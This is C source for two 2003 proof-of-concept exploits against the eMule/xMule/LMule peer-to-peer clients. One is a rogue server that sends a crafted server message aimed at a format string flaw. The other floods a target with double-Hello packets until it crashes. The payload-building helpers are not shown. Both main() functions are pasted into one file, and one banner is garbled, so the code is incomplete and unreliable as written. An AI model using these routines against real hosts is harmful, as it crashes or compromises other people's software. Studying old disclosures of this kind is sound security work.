int
main (int argc, char *argv[])
{
puts ("eMule/xMule/LMule OP_SERVERMESSAGE "
"Format String Vulnerabilitytion Vulnerability\n"
"proof of concept code\n"
"Copyright (C) 2003 Rémi Denis-Courmont "
"<*****@*****.**>\n");
if (argc > 3)
return usage (argv[0]);
else
{
int listenfd;
const char *host, *port;
port = (argc < 2) ? "4661" : argv[2];
host = (argc < 3) ? NULL : argv[3];
printf ("Binding to [%s]:%s ...\n",
(host != NULL) ? host : "any", port);
listenfd = socket_listen (host, port);
if (listenfd == -1)
{
gai_perror (host);
return 1;
}
while (1)
{
int clientfd;
fputs ("Waiting for a client to connect ... ", stdout);
clientfd = accept (listenfd, NULL, 0);
if (clientfd == -1)
{
puts ("");
perror ("Error");
continue;
}
puts ("OK");
fputs ("Sending server message ... ", stdout);
if (send_server_message (clientfd))
{
puts ("");
perror ("Error");
}
else
puts ("Done");
close (clientfd);
}
}
return 0; /* dead code */
}
int
main (int argc, char *argv[])
{
puts ("eMule/xMule/LMule AttachToAlreadyKnown() "
"Object Destruction vulnerability\n"
"proof of concept code\n"
"Copyright (C) 2003 R?mi Denis-Courmont "
"<*****@*****.**>\n");
if (argc < 2)
return usage (argv[0]);
else
{
int fd, count = 0;
const char *host, *port;
host = argv[1];
port = (argc < 3) ? "4662" : argv[2];
printf ("Connecting to [%s]:%s ...\n", host, port);
while (++count && ((fd = socket_connect (host, port)) != -1))
{
printf ("Sending double-Hello packet (%d)...\n",
count);
if (send_2hello (fd))
{
perror ("Error");
count = -1;
}
puts ("Checking reply ...");
if (recv_hello (fd))
{
fprintf (stderr, "%s: malformed reply\n",
host);
count = -1;
}
else if (recv_hello (fd))
printf ("%s might be vulnerable.\n", host);
else
{
printf ("%s is not vulnerable.\n", host);
count = -1;
}
close (fd);
if (count >= MAXTRIES)
{
printf ("%s is still alive after %d deadly "
"packets. Probably not vulnerable.\n",
host, count);
return 0;
}
}
gai_perror (host);
if (count)
{
puts ("Remote host seems to have crashed!");
return 0;
}
}
return 1;
}
